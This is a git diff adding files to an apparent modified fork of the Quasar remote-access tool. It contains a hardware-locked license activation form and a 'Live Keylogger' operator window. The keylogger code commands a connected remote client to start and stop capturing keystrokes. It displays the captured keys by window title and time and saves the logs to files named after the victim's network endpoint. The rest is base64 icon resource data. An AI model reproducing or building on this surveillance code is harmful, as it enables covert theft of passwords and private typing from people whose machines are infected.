Iv9tXVj/Xk5I/zIiHP83JyD/OCgh/zgoIf85KSL/OCgh/zgoIf85KSL/NSUe/yQSCf+3rqv///////// + //+dko7/GQcA/zsrJP84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zAhGP8pFxL/s6el//// + ////////saek/yQSDv8yIhv/Oysk/zkpIv85KSL/OSki/zkpIv86KiP/LR0W/0Y2L9luXleH////Af// + /wH///8B////Af///wH///8BU0M8pz8vKOsxIRr/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv86KiP/OCgh/xsLBf8nHh3/7+bh/6efnP8GAAD/JxUQ/zsrJP85KSL/OSki/zkpIv85KSL/OCgh/zoq + I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs new file mode 100755 index 0000000..1190e99 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.Designer.cs @@ -0,0 +1,108 @@ +namespace Quasar.Server.Forms +{ + partial class FrmLicense + { + private System.ComponentModel.IContainer components = null; + + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.lblTitle = new System.Windows.Forms.Label(); + this.lblHardwareID = new System.Windows.Forms.Label(); + this.txtHardwareID = new System.Windows.Forms.TextBox(); + this.lblBIN = new System.Windows.Forms.Label(); + this.txtBIN = new System.Windows.Forms.TextBox(); + this.btnActivate = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // lblTitle + // + this.lblTitle.AutoSize = true; + this.lblTitle.Font = new System.Drawing.Font("Segoe UI", 14F, System.Drawing.FontStyle.Bold); + this.lblTitle.Location = new System.Drawing.Point(80, 20); + this.lblTitle.Name = "lblTitle"; + this.lblTitle.Size = new System.Drawing.Size(240, 25); + this.lblTitle.TabIndex = 0; + this.lblTitle.Text = "Quasar License Activation"; + // + // lblHardwareID + // + this.lblHardwareID.AutoSize = true; + this.lblHardwareID.Location = new System.Drawing.Point(30, 70); + this.lblHardwareID.Name = "lblHardwareID"; + this.lblHardwareID.Size = new System.Drawing.Size(78, 13); + this.lblHardwareID.TabIndex = 1; + this.lblHardwareID.Text = "Hardware ID:"; + // + // txtHardwareID + // + this.txtHardwareID.Location = new System.Drawing.Point(30, 90); + this.txtHardwareID.Name = "txtHardwareID"; + this.txtHardwareID.Size = new System.Drawing.Size(340, 22); + this.txtHardwareID.TabIndex = 2; + // + // lblBIN + // + this.lblBIN.AutoSize = true; + this.lblBIN.Location = new System.Drawing.Point(30, 130); + this.lblBIN.Name = "lblBIN"; + this.lblBIN.Size = new System.Drawing.Size(62, 13); + this.lblBIN.TabIndex = 3; + this.lblBIN.Text = "BIN Code:"; + // + // txtBIN + // + this.txtBIN.Location = new System.Drawing.Point(30, 150); + this.txtBIN.Name = "txtBIN"; + this.txtBIN.Size = new System.Drawing.Size(340, 22); + this.txtBIN.TabIndex = 4; + this.txtBIN.KeyDown += new System.Windows.Forms.KeyEventHandler(this.txtBIN_KeyDown); + // + // btnActivate + // + this.btnActivate.Location = new System.Drawing.Point(130, 190); + this.btnActivate.Name = "btnActivate"; + this.btnActivate.Size = new System.Drawing.Size(140, 35); + this.btnActivate.TabIndex = 5; + this.btnActivate.Text = "Activate"; + this.btnActivate.UseVisualStyleBackColor = true; + this.btnActivate.Click += new System.EventHandler(this.btnActivate_Click); + // + // FrmLicense + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(400, 250); + this.Controls.Add(this.btnActivate); + this.Controls.Add(this.txtBIN); + this.Controls.Add(this.lblBIN); + this.Controls.Add(this.txtHardwareID); + this.Controls.Add(this.lblHardwareID); + this.Controls.Add(this.lblTitle); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmLicense"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Velane License"; + this.Load += new System.EventHandler(this.FrmLicense_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } + + private System.Windows.Forms.Label lblTitle; + private System.Windows.Forms.Label lblHardwareID; + private System.Windows.Forms.TextBox txtHardwareID; + private System.Windows.Forms.Label lblBIN; + private System.Windows.Forms.TextBox txtBIN; + private System.Windows.Forms.Button btnActivate; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs new file mode 100755 index 0000000..0de7821 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLicense.cs @@ -0,0 +1,96 @@ +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Licensing; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.IO; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmLicense : Form + { + private string _hardwareID; + private const string LICENSE_FILE = "license.dat"; + + public FrmLicense() + { + InitializeComponent(); + _hardwareID = LicenseManager.GenerateHardwareID(); + } + + private void FrmLicense_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + txtHardwareID.Text = _hardwareID; + txtHardwareID.ReadOnly = true; + txtBIN.Focus(); + } + + private void btnActivate_Click(object sender, EventArgs e) + { + string enteredBIN = txtBIN.Text.Trim(); + + if (string.IsNullOrEmpty(enteredBIN)) + { + MessageBox.Show("Please enter a BIN code.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning); + return; + } + + if (LicenseManager.ValidateBIN(_hardwareID, enteredBIN)) + { + try + { + File.WriteAllText(LICENSE_FILE, $"{_hardwareID}|{enteredBIN}"); + MessageBox.Show("License activated successfully!", "Success", MessageBoxButtons.OK, MessageBoxIcon.Information); + this.DialogResult = DialogResult.OK; + this.Close(); + } + catch (Exception ex) + { + MessageBox.Show($"Failed to save license: {ex.Message}", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + else + { + MessageBox.Show("Invalid BIN code. Please check and try again.", "Authentication Failed", MessageBoxButtons.OK, MessageBoxIcon.Error); + txtBIN.Clear(); + txtBIN.Focus(); + } + } + + private void txtBIN_KeyDown(object sender, KeyEventArgs e) + { + if (e.KeyCode == Keys.Enter) + { + e.SuppressKeyPress = true; + btnActivate_Click(sender, e); + } + } + + public static bool CheckLicense() + { + if (!File.Exists(LICENSE_FILE)) + return false; + + try + { + string[] parts = File.ReadAllText(LICENSE_FILE).Split('|'); + if (parts.Length != 2) + return false; + + string storedHardwareID = parts[0]; + string storedBIN = parts[1]; + + return LicenseManager.ValidateBIN(storedHardwareID, storedBIN); + } + catch + { + return false; + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs new file mode 100755 index 0000000..051e36f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.Designer.cs @@ -0,0 +1,119 @@ +namespace Quasar.Server.Forms +{ + partial class FrmLiveKeylogger + { + private System.ComponentModel.IContainer components = null; + + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmLiveKeylogger)); + this.txtKeystrokes = new System.Windows.Forms.TextBox(); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.btnSave = new System.Windows.Forms.Button(); + this.btnClear = new System.Windows.Forms.Button(); + this.lblStatus = new System.Windows.Forms.Label(); + this.SuspendLayout(); + // + // txtKeystrokes + // + this.txtKeystrokes.BackColor = System.Drawing.SystemColors.Control; + this.txtKeystrokes.Font = new System.Drawing.Font("Segoe UI", 9F); + this.txtKeystrokes.ForeColor = System.Drawing.Color.White; + this.txtKeystrokes.Location = new System.Drawing.Point(16, 62); + this.txtKeystrokes.Margin = new System.Windows.Forms.Padding(4); + this.txtKeystrokes.Multiline = true; + this.txtKeystrokes.Name = "txtKeystrokes"; + this.txtKeystrokes.ReadOnly = true; + this.txtKeystrokes.ScrollBars = System.Windows.Forms.ScrollBars.Both; + this.txtKeystrokes.Size = new System.Drawing.Size(745, 368); + this.txtKeystrokes.TabIndex = 0; + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(16, 15); + this.btnStart.Margin = new System.Windows.Forms.Padding(4); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(133, 37); + this.btnStart.TabIndex = 1; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(157, 15); + this.btnStop.Margin = new System.Windows.Forms.Padding(4); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(133, 37); + this.btnStop.TabIndex = 2; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // btnSave + // + this.btnSave.Location = new System.Drawing.Point(480, 15); + this.btnSave.Margin = new System.Windows.Forms.Padding(4); + this.btnSave.Name = "btnSave"; + this.btnSave.Size = new System.Drawing.Size(133, 37); + this.btnSave.TabIndex = 3; + this.btnSave.Text = "Save to File"; + this.btnSave.UseVisualStyleBackColor = true; + this.btnSave.Click += new System.EventHandler(this.btnSave_Click); + // + // btnClear + // + this.btnClear.Location = new System.Drawing.Point(621, 15); + this.btnClear.Margin = new System.Windows.Forms.Padding(4); + this.btnClear.Name = "btnClear"; + this.btnClear.Size = new System.Drawing.Size(133, 37); + this.btnClear.TabIndex = 4; + this.btnClear.Text = "Clear"; + this.btnClear.UseVisualStyleBackColor = true; + this.btnClear.Click += new System.EventHandler(this.btnClear_Click); + // + // lblStatus + // + this.lblStatus.AutoSize = true; + this.lblStatus.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Bold); + this.lblStatus.ForeColor = System.Drawing.Color.Red; + this.lblStatus.Location = new System.Drawing.Point(320, 23); + this.lblStatus.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblStatus.Name = "lblStatus"; + this.lblStatus.Size = new System.Drawing.Size(119, 20); + this.lblStatus.TabIndex = 5; + this.lblStatus.Text = "Status: Stopped"; + // + // FrmLiveKeylogger + // + this.AutoScaleDimensions = new System.Drawing.SizeF(8F, 16F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(779, 455); + this.Controls.Add(this.lblStatus); + this.Controls.Add(this.btnClear); + this.Controls.Add(this.btnSave); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.btnStart); + this.Controls.Add(this.txtKeystrokes); + this.ForeColor = System.Drawing.Color.White; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Margin = new System.Windows.Forms.Padding(4); + this.Name = "FrmLiveKeylogger"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Live Keylogger"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmLiveKeylogger_FormClosing); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + private System.Windows.Forms.TextBox txtKeystrokes; + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Button btnSave; + private System.Windows.Forms.Button btnClear; + private System.Windows.Forms.Label lblStatus; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs new file mode 100755 index 0000000..11c2be8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.cs @@ -0,0 +1,130 @@ +using Quasar.Common.Messages; +using Quasar.Server.Networking; +using System; +using System.IO; +using System.Text; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmLiveKeylogger : Form + { + private readonly Client _client; + private string _currentWindow = ""; + private readonly StringBuilder _logBuffer = new StringBuilder(); + + public FrmLiveKeylogger(Client client) + { + _client = client; + InitializeComponent(); + + this.Text = $"Live Keylogger - {client.EndPoint}"; + _client.ClientState += OnClientStateChange; + } + + private void OnClientStateChange(Client client, bool connected) + { + if (!connected && client == _client) + { + this.Invoke((MethodInvoker)delegate + { + this.Close(); + }); + } + } + + public void AddKeystroke(string windowTitle, string keystroke) + { + if (this.InvokeRequired) + { + this.Invoke(new Action(() => AddKeystroke(windowTitle, keystroke))); + return; + } + + if (_currentWindow != windowTitle) + { + _currentWindow = windowTitle; + string header = $"\r\n\r\n### {windowTitle} - {DateTime.Now:yyyy-MM-dd HH:mm:ss} ###\r\n"; + txtKeystrokes.AppendText(header); + _logBuffer.Append(header); + } + + txtKeystrokes.AppendText(keystroke); + _logBuffer.Append(keystroke); + } + + private void btnStart_Click(object sender, EventArgs e) + { + _client.Send(new DoStartLiveKeylogger()); + btnStart.Enabled = false; + btnStop.Enabled = true; + lblStatus.Text = "Status: Recording..."; + lblStatus.ForeColor = System.Drawing.Color.Green; + } + + private void btnStop_Click(object sender, EventArgs e) + { + _client.Send(new DoStopLiveKeylogger()); + btnStart.Enabled = true; + btnStop.Enabled = false; + lblStatus.Text = "Status: Stopped"; + lblStatus.ForeColor = System.Drawing.Color.Red; + } + + + private void btnSave_Click(object sender, EventArgs e) + { + using (SaveFileDialog sfd = new SaveFileDialog()) + { + sfd.Filter = "Text Files (*.txt)|*.txt|All Files (*.*)|*.*"; + sfd.FileName = $"Keylog_{_client.EndPoint}_{DateTime.Now:yyyyMMdd_HHmmss}.txt"; + + if (sfd.ShowDialog() == DialogResult.OK) + { + try + { + File.WriteAllText(sfd.FileName, _logBuffer.ToString()); + MessageBox.Show($"Keylog saved successfully to:\n{sfd.FileName}", + "Save Successful", MessageBoxButtons.OK, MessageBoxIcon.Information); + } + catch (Exception ex) + { + MessageBox.Show($"Error saving file: {ex.Message}", + "Save Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + } + } + + private void btnClear_Click(object sender, EventArgs e) + { + var result = MessageBox.Show("Are you sure you want to clear all keystrokes?", + "Confirm Clear", MessageBoxButtons.YesNo, MessageBoxIcon.Question); + + if (result == DialogResult.Yes) + { + txtKeystrokes.Clear(); + _logBuffer.Clear(); + _currentWindow = ""; + } + } + + private void FrmLiveKeylogger_FormClosing(object sender, FormClosingEventArgs e) + { + if (btnStop.Enabled) + { + _client.Send(new DoStopLiveKeylogger()); + } + _client.ClientState -= OnClientStateChange; + } + + protected override void Dispose(bool disposing) + { + if (disposing) + { + _client.ClientState -= OnClientStateChange; + } + base.Dispose(disposing); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmLiveKeylogger.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + 